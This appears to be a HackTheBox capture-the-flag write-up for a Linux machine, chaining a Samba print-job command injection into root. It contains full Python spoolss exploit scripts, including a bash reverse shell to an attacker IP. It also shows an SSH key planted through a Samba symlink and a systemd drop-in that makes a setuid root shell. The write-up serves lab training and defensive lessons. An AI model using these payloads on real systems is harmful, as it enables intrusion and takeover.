Abducted - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐⭐☆☆
• CTF-like: ⭐⭐⭐⭐☆

Summary

Abducted is a medium-difficulty Linux machine centered on the file and print server infrastructure of a professional-services firm. The Samba installation is vulnerable to CVE-2026-4480, a print-subsystem command injection flaw where client-supplied print job names are passed unsanitized to shell commands, yielding unauthenticated remote code execution as the print service account. From there, an offsite-backup rclone configuration containing obscured credentials is recovered and decoded, granting SSH access to a second user. That user’s permissions over a Samba share configured with force user and wide links are abused to inject an SSH key into a third user’s home directory. The third user belongs to the operators group, which has been delegated management of the Samba service through polkit—a dangerous combination exploited via a systemd service drop-in to achieve root code execution.

TL;DR: Unauthenticated Samba print RCE → Extract rclone credentials → Abuse Samba wide links → Exploit polkit-delegated systemd service management → Root.

Reconnaissance

Port Scanning

nmap -sSVC --open -Pn 10.129.244.177

Results:

PORT     STATE SERVICE           VERSION
22/tcp   open   ssh              OpenSSH 9.6p1 Ubuntu 3ubuntu13.9
139/tcp  open   netbios-ssn      Samba smbd 4
445/tcp  open   netbios-ssn      Samba smbd 4

The machine exposes SSH and a Samba file and print server. No web services are present.

Service Enumeration

SMB Share Discovery:

smbclient -L //10.129.244.177 -N

Output:

Sharename          Type           Comment
---------          ----           -------
HP-Reception       Printer        Reception printer
projects           Disk           Hartley Group Project Files
transfer           Disk           Staff file transfer
IPC$               IPC            IPC Service (Hartley Group Document Services)

The HP-Reception printer share allows guest access, while the disk shares (projects and transfer) initially require authentication. The server identifies itself as “Hartley Group Document Services” via SMB negotiation.

Server Information:

rpcclient -U "" -N 10.129.244.177 -c "srvinfo"

Output reveals the Samba installation is based on Ubuntu Linux with an approximate timeline placing it below the May 2026 security release.

Vulnerability Assessment

Identified Issues:

1. CVE-2026-4480 (Print Job Name Command Injection): The Samba print subsystem fails to sanitize the %J macro (job name) in print commands before passing them to system(). The only sanitization applied is converting single quotes to underscores—all other shell metacharacters pass through intact.

2. Guest-accessible printer share: The HP-Reception share allows unauthenticated print job submission, making the RCE attack surface directly reachable from outside the network.

3. Sensitive file disclosure: Offsite-backup configuration stored with world-readable permissions in /opt/offsite-backup/rclone.conf contains plaintext credentials (only base64-obfuscated by rclone, which can decode them).

4. Insecure Samba share configuration: The transfer share combines force user = marcus, wide links = yes, and global allow insecure wide links = yes, allowing symlink escape from the share boundary and forced file ownership as a privileged user.

5. Over-delegated polkit permissions: The operators group is granted org.freedesktop.systemd1.reload-daemon without authentication, enabling service reload and restart for the smbd unit.

Initial Foothold

Exploitation Path: CVE-2026-4480 Samba Print RCE

The vulnerability exists in source3/printing/print_generic.c. When a print job completes spooling, Samba executes the configured print command (typically print command = /usr/local/bin/printaudit %J %s) by substituting macros and invoking system(). The %J placeholder is replaced with the client-supplied job document name without escaping.

To exploit this, we must use the spoolss RPC interface directly (not smbclient, which sanitizes input over the legacy RAP protocol). The Samba Python bindings expose this interface.

Step 1: Confirm Execution (Out-of-Band Probe)

First, we validate that the injection works by triggering a harmless callback—an ICMP ping—before committing to reverse shell payload:

#!/usr/bin/env python3
from samba.dcerpc import spoolss
from samba.param import LoadParm
from samba.credentials import Credentials

RHOST = "10.129.244.177"
LHOST = "10.10.14.100"

# Load Samba config and create anonymous credentials
lp = LoadParm()
lp.load_default()
creds = Credentials()
creds.guess(lp)
creds.set_anonymous()

# Bind to the spoolss RPC interface
iface = spoolss.spoolss(r"ncacn_np:%s[\pipe\spoolss]" % RHOST, lp, creds)

# Open a handle to HP-Reception (requires PRINTER_ACCESS_USE = 0x00000008)
h = iface.OpenPrinter(
    "\\\\%s\\HP-Reception" % RHOST,
    "",
    spoolss.DevmodeContainer(),
    0x00000008
)

# Craft the injection payload
# Document name "|sh" makes the print command:
#   /usr/local/bin/printaudit |sh <spoolfile>
# This pipes the spool file to sh, executing it as a script

i1 = spoolss.DocumentInfo1()
i1.document_name = "|sh"
i1.output_file = None
i1.datatype = "RAW"

ctr = spoolss.DocumentInfoCtr()
ctr.level = 1
ctr.info = i1

# Spool body: out-of-band ping to confirm execution
DATA = b"ping -c 3 10.10.14.100\n"

# Submit the job
iface.StartDocPrinter(h, ctr)
iface.StartPagePrinter(h)
iface.WritePrinter(h, DATA, len(DATA))
iface.EndPagePrinter(h)
iface.EndDocPrinter(h)  # Triggers the print command
iface.ClosePrinter(h)

print("[+] Probe submitted")

On the attacker’s machine, monitor for incoming ICMP:

sudo tcpdump -ni tun0 icmp and host 10.129.244.177

If ICMP echo requests arrive from the target, the injection is confirmed.

Step 2: Reverse Shell Payload

Once execution is confirmed, swap the spool body for a reverse shell. Two critical details:

• The job must be non-empty (Samba skips the print command for zero-byte files)
• The payload must detach using setsid ... & because the print command runs synchronously in EndDocPrinter; a foreground shell would block smbd and hang the RPC call

#!/usr/bin/env python3
from samba.dcerpc import spoolss
from samba.param import LoadParm
from samba.credentials import Credentials

RHOST = "10.129.244.177"
LHOST = "10.10.14.100"
LPORT = 4444

lp = LoadParm()
lp.load_default()
creds = Credentials()
creds.guess(lp)
creds.set_anonymous()

iface = spoolss.spoolss(r"ncacn_np:%s[\pipe\spoolss]" % RHOST, lp, creds)

h = iface.OpenPrinter(
    "\\\\%s\\HP-Reception" % RHOST,
    "",
    spoolss.DevmodeContainer(),
    0x00000008
)

i1 = spoolss.DocumentInfo1()
i1.document_name = "|sh"
i1.output_file = None
i1.datatype = "RAW"

ctr = spoolss.DocumentInfoCtr()
ctr.level = 1
ctr.info = i1

# Reverse shell payload with detachment
DATA = (
    "setsid bash -c 'bash -i >& /dev/tcp/%s/%d 0>&1' >/dev/null 2>&1 &\n"
    % (LHOST, LPORT)
).encode()

iface.StartDocPrinter(h, ctr)
iface.StartPagePrinter(h)
iface.WritePrinter(h, DATA, len(DATA))
iface.EndPagePrinter(h)
iface.EndDocPrinter(h)
iface.ClosePrinter(h)

print("[+] Job submitted")

Step 3: Catch the Shell

nc -lvnp 4444
python3 exploit.py

Output:

connect to [10.10.14.100] from (UNKNOWN) [10.129.244.177]
id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)

We now have code execution as the nobody print service account.

Credential Recovery

Enumerate the filesystem and locate the offsite-backup configuration:

cat /opt/offsite-backup/rclone.conf

Output:

[offsite]
type = sftp
host = backup.hartley-group.internal
user = svc-backup
pass = HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw
shell_type = unix

The password is rclone’s “obscured” format—a reversible base64 encoding. Use rclone itself to decode it:

rclone reveal HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw

Output:

iXzvcib3SrpZ

This password has been reused for the scott system account. Establish an SSH session:

ssh scott@10.129.244.177

Verification:

scott@abducted:~$ id
uid=1000(scott) gid=1001(scott) groups=1001(scott)
scott@abducted:~$ cat user.txt
<redacted>

Privilege Escalation

scott → marcus: Abusing Samba Wide Links and Force User

Examine the Samba configuration:

cat /etc/samba/shares.conf

Key section:

[transfer]
   comment = Staff file transfer
   path = /srv/transfer
   valid users = scott
   force user = marcus
   read only = no
   wide links = yes
   browseable = yes

Check global settings:

grep -E 'unix extensions|wide links' /etc/samba/smb.conf

Output:

unix extensions = no
allow insecure wide links = yes

Exploitation Logic:

• force user = marcus: All file operations through the share execute as the marcus user, regardless of who authenticated
• wide links = yes + allow insecure wide links = yes: Samba follows symlinks pointing outside the share directory (normally disabled when Unix extensions are enabled, but explicitly overridden here)
• Scott owns /srv/transfer on disk, so he can plant symlinks

Attack Steps:

Create an SSH keypair and plant it in marcus’s home directory via the symlink:

# Generate a keypair
ssh-keygen -q -t ed25519 -N '' -f /tmp/k

# Create a symlink from transfer to marcus's home
ln -s /home/marcus /srv/transfer/mh

# Connect to the transfer share as scott and write the public key
smbclient //127.0.0.1/transfer -U 'scott%iXzvcib3SrpZ' \
  -c 'mkdir mh/.ssh; put /tmp/k.pub mh/.ssh/authorized_keys'

Because of force user = marcus and wide links, the .ssh directory and authorized_keys file are created and owned by marcus. Log in with the private key:

ssh -i /tmp/k marcus@10.129.244.177
marcus@abducted:~$ id
uid=1001(marcus) gid=1002(marcus) groups=1002(marcus),1000(operators)

marcus → root: Exploiting Polkit-Delegated systemd Service Management

Marcus is a member of the operators group. Check for group-writable directories:

ls -ld /etc/systemd/system/smbd.service.d

Output:

drwxrws--- 2 root operators 4096 ... /etc/systemd/system/smbd.service.d

The directory is group-writable (rws), allowing marcus to create files in it. This is a systemd drop-in location—any .conf file in this directory is merged into smbd.service when the unit is loaded, and directives like ExecStartPre= run before the main process as the service user (root).

Check what systemd operations polkit allows the operators group:

for action in $(pkaction); do
  pkcheck --action-id "$action" --process $$ 2>/dev/null && echo "ALLOWED: $action"
done

Relevant output:

ALLOWED: org.freedesktop.systemd1.reload-daemon

The operators group is authorized to reload the systemd daemon without authentication. This is the key: marcus can write a drop-in, reload the daemon, and restart smbd—all without a password prompt.

Exploitation:

Write a drop-in that copies bash and sets the setuid bit:

cat > /etc/systemd/system/smbd.service.d/override.conf <<'EOF'
[Service]
ExecStartPre=/bin/cp /bin/bash /tmp/.rb
ExecStartPre=/bin/chmod 4755 /tmp/.rb
EOF

Reload the systemd daemon and restart smbd:

systemctl daemon-reload
systemctl restart smbd

Because smbd runs as root and the drop-in’s ExecStartPre commands execute before the main process, the shell is created as root with setuid:

ls -l /tmp/.rb
-rwsr-xr-x 1 root root 1446024 ... /tmp/.rb

Invoke the setuid shell with the -p flag to maintain root privileges:

/tmp/.rb -p -c 'id; cat /root/root.txt'

Output:

uid=1001(marcus) gid=1002(marcus) euid=0(root) groups=1002(marcus),1000(operators)
<redacted>

Attack Chain Summary

Unauthenticated access to HP-Reception printer share (Samba enumeration)
    ↓
CVE-2026-4480: Print job name command injection via spoolss RPC
    ↓
Remote code execution as nobody (print service account)
    ↓
Extract and decode rclone credentials from /opt/offsite-backup/rclone.conf
    ↓
Credential reuse: SSH access as scott
    ↓
Abuse Samba force user + wide links to write SSH key into marcus's home
    ↓
Lateral movement to marcus (operators group member)
    ↓
Write systemd drop-in in group-writable /etc/systemd/system/smbd.service.d/
    ↓
Use polkit-delegated org.freedesktop.systemd1.reload-daemon to restart smbd
    ↓
ExecStartPre in drop-in executes as root (smbd's user)
    ↓
Setuid bash → Root access

Tools Used

Key Learnings

Techniques Practiced

• RPC-level exploitation: Using Samba’s spoolss interface directly bypasses client-side sanitization present in higher-level tools
• Print subsystem vulnerabilities: Understanding how print backends execute unescaped shell commands creates remote code execution opportunities
• Credential recovery from configuration files: Identifying and decoding “obfuscated” credentials (rclone, etc.) that are designed for reversible encoding rather than encryption
• Symlink escape with Samba: Combining force user, wide links, and allow insecure wide links to write files into other users’ directories
• Polkit misconfiguration: Over-delegating service management permissions to unprivileged groups creates privilege escalation chains
• Systemd drop-in abuse: Group-writable drop-in directories combined with service reload permissions yield root code execution

Lessons Learned

1. Guest-accessible services are attack surfaces. Always audit what unauthenticated users can trigger, especially printers and document processors.

2. Macro substitution in shell commands is dangerous. Any time user input lands in a macro that gets expanded and passed to system() or shell invocation, assume code injection is possible unless input is explicitly validated.

3. Credential reuse is a real-world vulnerability. Backup credentials, service account passwords, and API tokens are often recycled across systems—always check configuration files for secrets and test them against other accounts.

4. Samba’s force user + wide links combination is particularly dangerous in shared infrastructure. The ability to write files as another user, combined with symlink traversal, breaks file ownership assumptions.

5. Polkit rules should follow the principle of least privilege. Granting service reload/restart permissions for specific units to unprivileged groups is acceptable; blanket service management is not. Always validate that polkit rules are narrowly scoped.

6. Systemd drop-in directories are configuration entry points. If a directory is group-writable and merged into a privileged service, it’s a direct privilege escalation channel. Audit filesystem permissions on /etc/systemd/system/*/ carefully.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>